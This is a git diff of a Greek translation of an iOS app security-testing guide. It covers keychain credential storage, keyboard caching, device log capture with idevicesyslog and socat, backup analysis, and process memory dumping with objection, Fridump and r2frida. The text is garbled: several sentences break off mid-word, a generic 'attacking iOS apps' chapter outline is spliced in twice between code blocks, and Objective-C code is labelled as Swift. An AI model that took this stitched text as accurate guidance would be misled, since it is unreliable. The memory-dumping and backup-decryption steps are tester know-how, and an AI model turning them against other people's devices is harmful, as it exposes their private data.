|
||||||
#### **Αποθήκευση Διαπιστευτηρίων**
|
#### **Αποθήκευση Διαπιστευτηρίων**
|
||||||
|
|
||||||
Η κλάση **NSURLCredential** είναι ιδανική για την αποθήκευση ευαίσθητων πληροφοριών απευθείας στο keychain, παρακάμπτοντας την ανάγκη για NSUserDefaults ή άλλες επικαλύψεις. Για να αποθηκεύσετε διαπιστευτήρια μετά την σύνδεση, χρησιμοποιείται ο παρακάτω κώδικας σε Swift:
|
Η κλάση **NSURLCredential** είναι ιδανική για την αποθήκευση ευαίσθητων πληροφοριών απευθείας στο keychain, παρακάμπτοντας την ανάγκη για NSUserDefaults ή άλλες επικαλύψεις. Για να αποθηκεύσετε διαπιστευτήρια μετά την σύνδεση, χρησιμοποιείται ο παρακάτω κώδικας σε Swift:
|
||||||
|
|
||||||
```swift
|
```swift
|
||||||
NSURLCredential *credential;
|
NSURLCredential *credential;
|
||||||
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
||||||
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
|
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
|
||||||
```
|
```
|
||||||
|
|
||||||
## **Προσαρμοσμένα Πληκτρολόγια και Προσωρινή Μνήμη Πληκτρολόγησης**
|
## **Προσαρμοσμένα Πληκτρολόγια και Προσωρινή Μνήμη Πληκτρολόγησης**
|
||||||
|
|
||||||
Από το iOS 8.0 και μετά, οι χρήστες μπορούν να εγκαταστήσουν επεκτάσεις προσαρμοσμένων πληκτρολογίων, τα οποία διαχειρίζονται στο **Ρυθμίσεις > Γενικές > Πληκτρολόγιο > Πληκτρολόγια**. Ενώ αυτά τα πληκτρολόγια προσφέρουν επεκτεινόμενη λειτουργικότητα, αποτελούν κίνδυνο για καταγραφή πληκτρολογίων και μετάδοση δεδομένων σε εξωτερικούς διακομιστές, αν και οι χρήστες ενημερώνονται για τα πληκτρολόγια που απαιτούν πρόσβαση στο δίκτυο. Οι εφαρμογές μπορούν, και πρέπει, να περιορίσουν τη χρήση προσαρμοσμένων πληκτρολογίων για την εισαγωγή ευαίσθητων πληροφοριών.
|
Από το iOS 8.0 και μετά, οι χρήστες μπορούν να εγκαταστήσουν επεκτάσεις προσαρμοσμένων πληκτρολογίων, τα οποία διαχειρίζονται στο **Ρυθμίσεις > Γενικές > Πληκτρολόγιο > Πληκτρολόγια**. Ενώ αυτά τα πληκτρολόγια προσφέρουν επεκτεινόμενη λειτουργικότητα, αποτελούν κίνδυνο για καταγραφή πληκτρολογίων και μετάδοση δεδομένων σε εξωτερικούς διακομιστές, αν και οι χρήστες ενημερώνονται για τα πληκτρολόγια που απαιτούν πρόσβαση στο δίκτυο. Οι εφαρμογές μπορούν, και πρέπει, να περιορίσουν τη χρήση προσαρμοσμένων πληκτρολογίων για την εισαγωγή ευαίσθητων πληροφοριών.
|
||||||
|
@ -610,15 +664,19 @@ credential = [NSURLCredential credentialWithUser:username password:password pers
|
||||||
### **Αποτροπή Προσωρινής Αποθήκευσης Πεδίων Κειμένου**
|
### **Αποτροπή Προσωρινής Αποθήκευσης Πεδίων Κειμένου**
|
||||||
|
|
||||||
Το πρωτόκολλο [UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) προσφέρει ιδιότητες για τη διαχείριση της αυτόματης διόρθωσης και της ασφαλούς εισαγωγής κειμένου, τα οποία είναι ουσιώδη για την αποτροπή της προσωρινής αποθήκευσης ευαίσθητων πληροφοριών. Για παράδειγμα, η απενεργοποίηση της αυτόματης διόρθωσης και η ενεργοποίηση της ασφαλούς εισαγωγής κειμένου μπορεί να επιτευχθεί με:
|
Το πρωτόκολλο [UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) προσφέρει ιδιότητες για τη διαχείριση της αυτόματης διόρθωσης και της ασφαλούς εισαγωγής κειμένου, τα οποία είναι ουσιώδη για την αποτροπή της προσωρινής αποθήκευσης ευαίσθητων πληροφοριών. Για παράδειγμα, η απενεργοποίηση της αυτόματης διόρθωσης και η ενεργοποίηση της ασφαλούς εισαγωγής κειμένου μπορεί να επιτευχθεί με:
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
|
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||||
textObject.secureTextEntry = YES;
|
textObject.secureTextEntry = YES;
|
||||||
```
|
```
|
||||||
|
|
||||||
Επιπλέον, οι προγραμματιστές θα πρέπει να διασφαλίζουν ότι τα πεδία κειμένου, ειδικά αυτά που προορίζονται για την εισαγωγή ευαίσθητων πληροφοριών όπως κωδικοί πρόσβασης και PIN, απενεργοποιούν την προσωρινή αποθήκευση ορίζοντας το `autocorrectionType` σε `UITextAutocorrectionTypeNo` και το `secureTextEntry` σε `YES`.
|
Επιπλέον, οι προγραμματιστές θα πρέπει να διασφαλίζουν ότι τα πεδία κειμένου, ειδικά αυτά που προορίζονται για την εισαγωγή ευαίσθητων πληροφοριών όπως κωδικοί πρόσβασης και PIN, απενεργοποιούν την προσωρινή αποθήκευση ορίζοντας το `autocorrectionType` σε `UITextAutocorrectionTypeNo` και το `secureTextEntry` σε `YES`.
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
|
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
|
||||||
textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||||
```
|
```
|
||||||
|
|
||||||
## **Καταγραφές**
|
## **Καταγραφές**
|
||||||
|
|
||||||
Η αποσφαλμάτωση κώδικα συχνά περιλαμβάνει τη χρήση **καταγραφής**. Υπάρχει κίνδυνος καθώς **οι καταγραφές μπορεί να περιέχουν ευαίσθητες πληροφορίες**. Παλαιότερα, στο iOS 6 και σε προηγούμενες εκδόσεις, οι καταγραφές ήταν προσβάσιμες από όλες τις εφαρμογές, δημιουργώντας κίνδυνο διαρροής ευαίσθητων δεδομένων. **Τώρα, οι εφαρμογές περιορίζονται στην πρόσβαση μόνο στις δικές τους καταγραφές**.
|
Η αποσφαλμάτωση κώδικα συχνά περιλαμβάνει τη χρήση **καταγραφής**. Υπάρχει κίνδυνος καθώς **οι καταγραφές μπορεί να περιέχουν ευαίσθητες πληροφορίες**. Παλαιότερα, στο iOS 6 και σε προηγούμενες εκδόσεις, οι καταγραφές ήταν προσβάσιμες από όλες τις εφαρμογές, δημιουργώντας κίνδυνο διαρροής ευαίσθητων δεδομένων. **Τώρα, οι εφαρμογές περιορίζονται στην πρόσβαση μόνο στις δικές τους καταγραφές**.
|
||||||
|
@ -627,11 +685,13 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||||
|
|
||||||
Για τη μείωση των κινδύνων, συνιστάται να **αλληλεπιδράσετε ενδελεχώς με την εφαρμογή**, εξερευνώντας όλες τις λειτουργίες και τις εισόδους της για να διασφαλίσετε ότι δεν καταγράφονται απαράδεκτα ευαίσθητες πληροφορίες.
|
Για τη μείωση των κινδύνων, συνιστάται να **αλληλεπιδράσετε ενδελεχώς με την εφαρμογή**, εξερευνώντας όλες τις λειτουργίες και τις εισόδους της για να διασφαλίσετε ότι δεν καταγράφονται απαράδεκτα ευαίσθητες πληροφορίες.
|
||||||
|
|
||||||
Κατά την αναθεώρηση του πηγαίου κώδικα της εφαρμογής για πιθανές διαρροές, αναζητήστε τόσο **προκαθορισμένες** όσο και **προσαρμοσμένες δηλ
|
Κατά την αναθεώρηση του πηγαίου κώδικα της εφαρμογής για πιθανές διαρροές, αναζητήστε τόσο **προκαθορισμένες** όσο και \*\*προσαρμοσμένες δηλ
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
idevice_id --list # To find the device ID
|
idevice_id --list # To find the device ID
|
||||||
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
|
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
|
||||||
```
|
```
|
||||||
|
|
||||||
Είναι χρήσιμες. Επιπλέον, το **Xcode** παρέχει έναν τρόπο για τη συλλογή καταγραφικών αρχείων κονσόλας:
|
Είναι χρήσιμες. Επιπλέον, το **Xcode** παρέχει έναν τρόπο για τη συλλογή καταγραφικών αρχείων κονσόλας:
|
||||||
|
|
||||||
1. Ανοίξτε το Xcode.
|
1. Ανοίξτε το Xcode.
|
||||||
|
@ -642,9 +702,11 @@ idevicesyslog -u <id> (| grep <app>) # To capture the device logs
|
||||||
6. Χρησιμοποιήστε το κουμπί **Άνοιγμα Κονσόλας** για να δείτε τα αρχεία καταγραφής σε ένα νέο παράθυρο.
|
6. Χρησιμοποιήστε το κουμπί **Άνοιγμα Κονσόλας** για να δείτε τα αρχεία καταγραφής σε ένα νέο παράθυρο.
|
||||||
|
|
||||||
Για πιο προηγμένη καταγραφή, η σύνδεση στο κέλυφος της συσκευής και η χρήση του **socat** μπορεί να παρέχει παρακολούθηση καταγραφών σε πραγματικό χρόνο:
|
Για πιο προηγμένη καταγραφή, η σύνδεση στο κέλυφος της συσκευής και η χρήση του **socat** μπορεί να παρέχει παρακολούθηση καταγραφών σε πραγματικό χρόνο:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||||
```
|
```
|
||||||
|
|
||||||
Ακολουθούν εντολές για παρακολούθηση δραστηριοτήτων καταγραφής, οι οποίες μπορεί να είναι ανεκτίμητες για τη διάγνωση προβλημάτων ή την αναγνώριση πιθανών διαρροών δεδομένων στα αρχεία καταγραφής.
|
Ακολουθούν εντολές για παρακολούθηση δραστηριοτήτων καταγραφής, οι οποίες μπορεί να είναι ανεκτίμητες για τη διάγνωση προβλημάτων ή την αναγνώριση πιθανών διαρροών δεδομένων στα αρχεία καταγραφής.
|
||||||
|
|
||||||
***
|
***
|
||||||
|
@ -652,7 +714,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για εύκολη δημιουργία και **αυτοματοποίηση ροών εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για εύκολη δημιουργία και **αυτοματοποίηση ροών εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||||
Αποκτήστε πρόσβαση σήμερα:
|
Αποκτήστε πρόσβαση σήμερα:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
@ -674,6 +736,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||||
Για να αξιολογήσετε την ασφάλεια του αντιγράφου ασφαλείας μιας εφαρμογής, ξεκινήστε με το **δημιουργία ενός αντιγράφου ασφαλείας** χρησιμοποιώντας το Finder, στη συνέχεια εντοπίστε το χρησιμοποιώντας τις οδηγίες από την [επίσημη τεκμηρίωση της Apple](https://support.apple.com/en-us/HT204215). Αναλύστε το αντίγραφο ασφαλείας για ευαίσθητα δεδομένα ή ρυθμίσεις που θα μπορούσαν να τροποποιηθούν για να επηρεάσουν τη συμπεριφορά της εφαρμογής.
|
Για να αξιολογήσετε την ασφάλεια του αντιγράφου ασφαλείας μιας εφαρμογής, ξεκινήστε με το **δημιουργία ενός αντιγράφου ασφαλείας** χρησιμοποιώντας το Finder, στη συνέχεια εντοπίστε το χρησιμοποιώντας τις οδηγίες από την [επίσημη τεκμηρίωση της Apple](https://support.apple.com/en-us/HT204215). Αναλύστε το αντίγραφο ασφαλείας για ευαίσθητα δεδομένα ή ρυθμίσεις που θα μπορούσαν να τροποποιηθούν για να επηρεάσουν τη συμπεριφορά της εφαρμογής.
|
||||||
|
|
||||||
Ευαίσθητες πληροφορίες μπορούν να αναζητηθούν χρησιμοποιώντας εργαλεία γραμμής εντολών ή εφαρμογές όπως το [iMazing](https://imazing.com). Για κρυπτογραφημένα αντίγραφα ασφαλείας, η ύπαρξη κρυπτογράφησης μπορεί να επιβεβαιωθεί ελέγχοντας το κλειδί "IsEncrypted" στο αρχείο "Manifest.plist" στη ρίζα του αντιγράφου ασφαλείας.
|
Ευαίσθητες πληροφορίες μπορούν να αναζητηθούν χρησιμοποιώντας εργαλεία γραμμής εντολών ή εφαρμογές όπως το [iMazing](https://imazing.com). Για κρυπτογραφημένα αντίγραφα ασφαλείας, η ύπαρξη κρυπτογράφησης μπορεί να επιβεβαιωθεί ελέγχοντας το κλειδί "IsEncrypted" στο αρχείο "Manifest.plist" στη ρίζα του αντιγράφου ασφαλείας.
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
@ -686,6 +749,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||||
...
|
...
|
||||||
</plist>
|
</plist>
|
||||||
```
|
```
|
||||||
|
|
||||||
Για την αντιμετώπιση κρυπτογραφημένων αντιγράφων ασφαλείας, τα σενάρια Python που είναι διαθέσιμα στο [αποθετήριο GitHub της DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts), όπως το **backup\_tool.py** και το **backup\_passwd.py**, μπορεί να είναι χρήσιμα, αν και ενδέχεται να απαιτούν προσαρμογές για συμβατότητα με τις πιο πρόσφατες εκδόσεις του iTunes/Finder. Το εργαλείο [**iOSbackup**](https://pypi.org/project/iOSbackup/) είναι μια άλλη επιλογή για πρόσβαση σε αρχεία εντός κρυπτογραφημένων αντιγράφων ασφαλείας.
|
Για την αντιμετώπιση κρυπτογραφημένων αντιγράφων ασφαλείας, τα σενάρια Python που είναι διαθέσιμα στο [αποθετήριο GitHub της DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts), όπως το **backup\_tool.py** και το **backup\_passwd.py**, μπορεί να είναι χρήσιμα, αν και ενδέχεται να απαιτούν προσαρμογές για συμβατότητα με τις πιο πρόσφατες εκδόσεις του iTunes/Finder. Το εργαλείο [**iOSbackup**](https://pypi.org/project/iOSbackup/) είναι μια άλλη επιλογή για πρόσβαση σε αρχεία εντός κρυπτογραφημένων αντιγράφων ασφαλείας.
|
||||||
|
|
||||||
### Τροποποίηση Συμπεριφοράς Εφαρμογής
|
### Τροποποίηση Συμπεριφοράς Εφαρμογής
|
||||||
|
@ -701,6 +765,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||||
Τόσο για συσκευές με jailbreak όσο και για συσκευές χωρίς jailbreak, εργαλεία όπως το [objection](https://github.com/sensepost/objection) και το [Fridump](https://github.com/Nightbringer21/fridump) επιτρέπουν την εκχύλιση της μνήμης διεργασίας μιας εφαρμογής. Μόλις γίνει η εκχύλιση, η ανάλυση αυτών των δεδομένων απαιτεί διάφορα εργαλεία, ανάλογα με τη φύση των πληροφοριών που αναζητάτε.
|
Τόσο για συσκευές με jailbreak όσο και για συσκευές χωρίς jailbreak, εργαλεία όπως το [objection](https://github.com/sensepost/objection) και το [Fridump](https://github.com/Nightbringer21/fridump) επιτρέπουν την εκχύλιση της μνήμης διεργασίας μιας εφαρμογής. Μόλις γίνει η εκχύλιση, η ανάλυση αυτών των δεδομένων απαιτεί διάφορα εργαλεία, ανάλογα με τη φύση των πληροφοριών που αναζητάτε.
|
||||||
|
|
||||||
Για την εξαγωγή συμβολοσειρών από μια εκχύλιση μνήμης, μπορούν να χρησιμοποιηθούν εντολές όπως `strings` ή `rabin2 -zz`:
|
Για την εξαγωγή συμβολοσειρών από μια εκχύλιση μνήμης, μπορούν να χρησιμοποιηθούν εντολές όπως `strings` ή `rabin2 -zz`:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Extracting strings using strings command
|
# Extracting strings using strings command
|
||||||
$ strings memory > strings.txt
|
$ strings memory > strings.txt
|
||||||
|
@ -708,19 +773,24 @@ $ strings memory > strings.txt
|
||||||
# Extracting strings using rabin2
|
# Extracting strings using rabin2
|
||||||
$ rabin2 -ZZ memory > strings.txt
|
$ rabin2 -ZZ memory > strings.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
Για πιο λεπτομερή ανάλυση, συμπεριλαμβανομένης της αναζήτησης συγκεκριμένων τύπων δεδομένων ή προτύπων, το **radare2** προσφέρει εκτεταμένες δυνατότητες αναζήτησης:
|
Για πιο λεπτομερή ανάλυση, συμπεριλαμβανομένης της αναζήτησης συγκεκριμένων τύπων δεδομένων ή προτύπων, το **radare2** προσφέρει εκτεταμένες δυνατότητες αναζήτησης:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
$ r2 <name_of_your_dump_file>
|
$ r2 <name_of_your_dump_file>
|
||||||
[0x00000000]> /?
|
[0x00000000]> /?
|
||||||
...
|
...
|
||||||
```
|
```
|
||||||
|
|
||||||
## **Ανάλυση Μνήμης Εκτέλεσης**
|
## **Ανάλυση Μνήμης Εκτέλεσης**
|
||||||
|
|
||||||
Το **r2frida** παρέχει μια ισχυρή εναλλακτική λύση για την επιθεώρηση της μνήμης μιας εφαρμογής σε πραγματικό χρόνο, χωρίς την ανάγκη για αντιγραφή μνήμης. Αυτό το εργαλείο επιτρέπει την εκτέλεση εντολών αναζήτησης απευθείας στη μνήμη της εκτελούμενης εφαρμογής:
|
Το **r2frida** παρέχει μια ισχυρή εναλλακτική λύση για την επιθεώρηση της μνήμης μιας εφαρμογής σε πραγματικό χρόνο, χωρίς την ανάγκη για αντιγραφή μνήμης. Αυτό το εργαλείο επιτρέπει την εκτέλεση εντολών αναζήτησης απευθείας στη μνήμη της εκτελούμενης εφαρμογής:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
$ r2 frida://usb//<name_of_your_app>
|
$ r2 frida://usb//<name_of_your_app>
|
||||||
[0x00000000]> /\ <search_command>
|
[0x00000000]> /\ <search_command>
|
||||||
```
|
```
|
||||||
|
|
||||||
## Σπασμένη Κρυπτογραφία
|
## Σπασμένη Κρυπτογραφία
|
||||||
|
|
||||||
### Κακή Διαχείριση Κλειδιών
|
### Κακή Διαχείριση Κλειδιών
|
||||||
|
@ -736,9 +806,11 @@ $ r2 frida://usb//<name_of_your_app>
|
||||||
Οι κύριοι έλεγχοι που πρέπει να πραγματοποιηθούν είναι να βρεθούν **σκληροπροσδιορισμένοι** κωδικοί/μυστικά στον κώδικα, ή αν αυτοί είναι **προβλέψιμοι**, και αν ο κώδικας χρησιμοποιεί κάποιο είδος **αδύναμων** αλγορίθμων **κρυπτογραφίας**.
|
Οι κύριοι έλεγχοι που πρέπει να πραγματοποιηθούν είναι να βρεθούν **σκληροπροσδιορισμένοι** κωδικοί/μυστικά στον κώδικα, ή αν αυτοί είναι **προβλέψιμοι**, και αν ο κώδικας χρησιμοποιεί κάποιο είδος **αδύναμων** αλγορίθμων **κρυπτογραφίας**.
|
||||||
|
|
||||||
Είναι ενδιαφέρον να γνωρίζετε ότι μπορείτε να **παρακολουθείτε** ορισμένες **βιβλιοθήκες κρυπτογραφίας** αυτόματα χρησιμοποιώντας το **objection** με:
|
Είναι ενδιαφέρον να γνωρίζετε ότι μπορείτε να **παρακολουθείτε** ορισμένες **βιβλιοθήκες κρυπτογραφίας** αυτόματα χρησιμοποιώντας το **objection** με:
|
||||||
|
|
||||||
```swift
|
```swift
|
||||||
ios monitor crypt
|
ios monitor crypt
|
||||||
```
|
```
|
||||||
|
|
||||||
Για **περισσότερες πληροφορίες** σχετικά με τις κρυπτογραφικές API και βιβλιοθήκες του iOS, επισκεφθείτε τη διεύθυνση [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
|
Για **περισσότερες πληροφορίες** σχετικά με τις κρυπτογραφικές API και βιβλιοθήκες του iOS, επισκεφθείτε τη διεύθυνση [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
|
||||||
|
|
||||||
## Τοπική Ταυτοποίηση
|
## Τοπική Ταυτοποίηση
|
||||||
|
@ -772,6 +844,7 @@ ios monitor crypt
|
||||||
Το keychain προσφέρει τη δυνατότητα να ορίσετε στοιχεία με το χαρακτηριστικό `SecAccessControl`, το οποίο περιορίζει την πρόσβαση στο στοιχείο μέχρι ο χρήστης να ταυτοποιηθεί με επιτυχία μέσω του Touch ID ή του κωδικού πρόσβασης της συσκευής. Αυτό το χαρακτηριστικό είναι κρίσιμο για τη βελτίωση της ασφάλειας.
|
Το keychain προσφέρει τη δυνατότητα να ορίσετε στοιχεία με το χαρακτηριστικό `SecAccessControl`, το οποίο περιορίζει την πρόσβαση στο στοιχείο μέχρι ο χρήστης να ταυτοποιηθεί με επιτυχία μέσω του Touch ID ή του κωδικού πρόσβασης της συσκευής. Αυτό το χαρακτηριστικό είναι κρίσιμο για τη βελτίωση της ασφάλειας.
|
||||||
|
|
||||||
Παρακάτω υπάρχουν παραδείγματα κώδικα σε Swift και Objective-C που δείχνουν πώς να αποθηκεύσετε και να ανακτήσετε ένα συμβολοσειριακό δεδομένο από/προς το keychain, εκμεταλλευόμενοι αυτά τα χαρακτηριστικά ασφαλείας. Τα παραδείγματα δείχνουν ειδικά πώς να ρυθμίσετε τον έλεγχο πρόσβασης για να απαιτεί αυθεντικοποίηση Touch ID και να διασφαλίσετε ότι τα δεδομένα είναι προσβάσιμα μόνο στη συσκευή όπου ρυθμίστηκαν, υπό την προϋπόθεση ότι έχει ρυθμιστεί ένας κωδικός πρόσβασης συσκευής.
|
Παρακάτω υπάρχουν παραδείγματα κώδικα σε Swift και Objective-C που δείχνουν πώς να αποθηκεύσετε και να ανακτήσετε ένα συμβολοσειριακό δεδομένο από/προς το keychain, εκμεταλλευόμενοι αυτά τα χαρακτηριστικά ασφαλείας. Τα παραδείγματα δείχνουν ειδικά πώς να ρυθμίσετε τον έλεγχο πρόσβασης για να απαιτεί αυθεντικοποίηση Touch ID και να διασφαλίσετε ότι τα δεδομένα είναι προσβάσιμα μόνο στη συσκευή όπου ρυθμίστηκαν, υπό την προϋπόθεση ότι έχει ρυθμιστεί ένας κωδικός πρόσβασης συσκευής.
|
||||||
|
|
||||||
```swift
|
```swift
|
||||||
// From https://github.com/mufambisi/owasp-mstg/blob/master/Document/0x06f-Testing-Local-Authentication.md
|
// From https://github.com/mufambisi/owasp-mstg/blob/master/Document/0x06f-Testing-Local-Authentication.md
|
||||||
|
|
||||||
|
@ -808,39 +881,35 @@ if status == noErr {
|
||||||
// error while saving
|
// error while saving
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="Objective-C" %}
|
### Επίθεση εφαρμογών iOS
|
||||||
|
|
||||||
## Επίθεση εφαρμογών iOS
|
#### Εισαγωγή
|
||||||
|
|
||||||
### Εισαγωγή
|
|
||||||
|
|
||||||
Η επίθεση σε εφαρμογές iOS απαιτεί τη χρήση διαφόρων εργαλείων και τεχνικών για την εντοπισμό ευπάθειών και την εκμετάλλευσή τους. Αυτό το κεφάλαιο παρέχει οδηγίες για την εκτέλεση επιθέσεων εφαρμογύν iOS και την προστασία των εφαρμογών από αυτού του είδους επιθέσεις.
|
Η επίθεση σε εφαρμογές iOS απαιτεί τη χρήση διαφόρων εργαλείων και τεχνικών για την εντοπισμό ευπάθειών και την εκμετάλλευσή τους. Αυτό το κεφάλαιο παρέχει οδηγίες για την εκτέλεση επιθέσεων εφαρμογύν iOS και την προστασία των εφαρμογών από αυτού του είδους επιθέσεις.
|
||||||
|
|
||||||
### Περιεχόμενο
|
#### Περιεχόμενο
|
||||||
|
|
||||||
Το κεφάλαιο καλύπτει τα ακόλουθα θέματα:
|
Το κεφάλαιο καλύπτει τα ακόλουθα θέματα:
|
||||||
|
|
||||||
- Εργαλεία για την επίθεση σε εφαρμογές iOS
|
* Εργαλεία για την επίθεση σε εφαρμογές iOS
|
||||||
- Τεχνικές επίθεσης σε εφαρμογές iOS
|
* Τεχνικές επίθεσης σε εφαρμογές iOS
|
||||||
- Προστασία από επιθέσεις σε εφαρμογές iOS
|
* Προστασία από επιθέσεις σε εφαρμογές iOS
|
||||||
|
|
||||||
### Απαιτήσεις
|
#### Απαιτήσεις
|
||||||
|
|
||||||
Για να ακολουθήσετε τα παραδείγματα σε αυτό το κεφάλαιο, θα χρειαστείτε τα ακόλουθα:
|
Για να ακολουθήσετε τα παραδείγματα σε αυτό το κεφάλαιο, θα χρειαστείτε τα ακόλουθα:
|
||||||
|
|
||||||
- Mac με το Xcode εγκατεστημένο
|
* Mac με το Xcode εγκατεστημένο
|
||||||
- Πρόσβαση σε μια συσκευή iOS για τη δοκιμή των επιθέσεων
|
* Πρόσβαση σε μια συσκευή iOS για τη δοκιμή των επιθέσεων
|
||||||
|
|
||||||
### Επιπλέον πόροι
|
#### Επιπλέον πόροι
|
||||||
|
|
||||||
Για περισσότερες πληροφορίες σχετικά με την επίθεση σε εφαρμογές iOS, μπορείτε να ανατρέξετε στους παρακάτω πόρους:
|
Για περισσότερες πληροφορίες σχετικά με την επίθεση σε εφαρμογές iOS, μπορείτε να ανατρέξετε στους παρακάτω πόρους:
|
||||||
|
|
||||||
- [OWASP Mobile Security Testing Guide](https://owasp.org/www-project-mobile-security-testing-guide/)
|
* [OWASP Mobile Security Testing Guide](https://owasp.org/www-project-mobile-security-testing-guide/)
|
||||||
- [iOS Hacker's Handbook](https://www.ioshackerhandbook.com/)
|
* [iOS Hacker's Handbook](https://www.ioshackerhandbook.com/)
|
||||||
|
|
||||||
{% endtab %}
|
|
||||||
```objectivec
|
```objectivec
|
||||||
// 1. create AccessControl object that will represent authentication settings
|
// 1. create AccessControl object that will represent authentication settings
|
||||||
CFErrorRef *err = nil;
|
CFErrorRef *err = nil;
|
||||||
|
@ -868,7 +937,9 @@ if (status == noErr) {
|
||||||
// error while saving
|
// error while saving
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
Τώρα μπορούμε να ζητήσουμε το στοιχείο που αποθηκεύτηκε στο keychain. Οι υπηρεσίες keychain θα εμφανίσουν το παράθυρο ελέγχου ταυτότητας στον χρήστη και θα επιστρέψουν δεδομένα ή nil ανάλογα με το αν παρέχθηκε κατάλληλο δακτυλικό αποτύπωμα ή όχι.
|
Τώρα μπορούμε να ζητήσουμε το στοιχείο που αποθηκεύτηκε στο keychain. Οι υπηρεσίες keychain θα εμφανίσουν το παράθυρο ελέγχου ταυτότητας στον χρήστη και θα επιστρέψουν δεδομένα ή nil ανάλογα με το αν παρέχθηκε κατάλληλο δακτυλικό αποτύπωμα ή όχι.
|
||||||
|
|
||||||
```swift
|
```swift
|
||||||
// 1. define query
|
// 1. define query
|
||||||
var query = [String: Any]()
|
var query = [String: Any]()
|
||||||
|
@ -891,15 +962,13 @@ let password = String(data: queryResult as! Data, encoding: .utf8)!
|
||||||
// authorization not passed
|
// authorization not passed
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="Objective-C" %}
|
|
||||||
|
|
||||||
## Επίθεση εφαρμογών iOS
|
## Επίθεση εφαρμογών iOS
|
||||||
|
|
||||||
### Εισαγωγή
|
### Εισαγωγή
|
||||||
|
|
||||||
Η επίθεση σε εφαρμογές iOS μπορεί να πραγματοποιηθεί με τη χρήση διαφόρων τεχνικών όπως ανάλυση αναστροφής, ενσωμάτωση κ
|
Η επίθεση σε εφαρμογές iOS μπορεί να πραγματοποιηθεί με τη χρήση διαφόρων τεχνικών όπως ανάλυση αναστροφής, ενσωμάτωση κ
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
// 1. define query
|
// 1. define query
|
||||||
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
|
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
|
||||||
|
@ -920,17 +989,22 @@ NSLog(@"%@", password);
|
||||||
NSLog(@"Something went wrong");
|
NSLog(@"Something went wrong");
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
### Ανίχνευση
|
### Ανίχνευση
|
||||||
|
|
||||||
